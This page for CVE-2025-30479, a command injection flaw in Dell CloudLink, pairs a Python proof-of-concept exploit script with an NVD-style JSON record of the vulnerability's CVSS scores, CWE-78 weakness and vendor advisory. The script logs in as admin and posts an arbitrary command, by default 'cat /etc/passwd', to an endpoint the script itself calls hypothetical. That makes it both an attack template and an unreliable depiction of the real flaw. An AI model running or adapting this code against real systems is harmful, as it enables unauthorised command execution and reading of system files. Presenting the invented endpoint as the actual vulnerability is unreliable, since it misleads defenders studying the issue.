CVE-2025-30479

#!/usr/bin/env python3 """ CVE-2025-30479 - Dell CloudLink Command Injection PoC Note: This is a conceptual PoC for educational purposes only. Actual exploitation requires valid high-privilege credentials. """ import requests import sys TARGET_URL = "https://<target-ip>/cloudlink/api/v1/" USERNAME = "admin" PASSWORD = "<known-password>" def exploit_command_injection(target_url, username, password, command): """ Exploit command injection in Dell CloudLink """ # Authentication session = requests.Session() login_url = f"{target_url}auth/login" # Login request login_data = { "username": username, "password": password } try: # Attempt login login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Command injection endpoint (hypothetical) inject_url = f"{target_url}system/execute" # Inject malicious command payload = { "command": f"{command}", "args": [] } response = session.post(inject_url, json=payload, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Command executed successfully") print(f"[+] Output: {response.text}") return True else: print(f"[-] Command execution failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-30479.py <target_url>") print("Example: python cve-2025-30479.py https://192.168.1.100/") sys.exit(1) target = sys.argv[1] # Test with basic command print("[*] Testing CVE-2025-30479 Command Injection") print("[*] Target: " + target) # Example: Read system information exploit_command_injection(target, USERNAME, PASSWORD, "cat /etc/passwd") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-30479", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:39.607", "lastModified": "2025-11-07T18:04:06.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell CloudLink, versions prior to 8.2, contain a vulnerability where a privileged user with known password can run command injection to gain control of system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:cloudlink:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2", "matchCriteriaId": "5DDB135B-8DE5-4071-B2BC-0DE3846F682F"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000384363/dsa-2025-374-security-update-for-dell-cloudlink-multiple-security-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}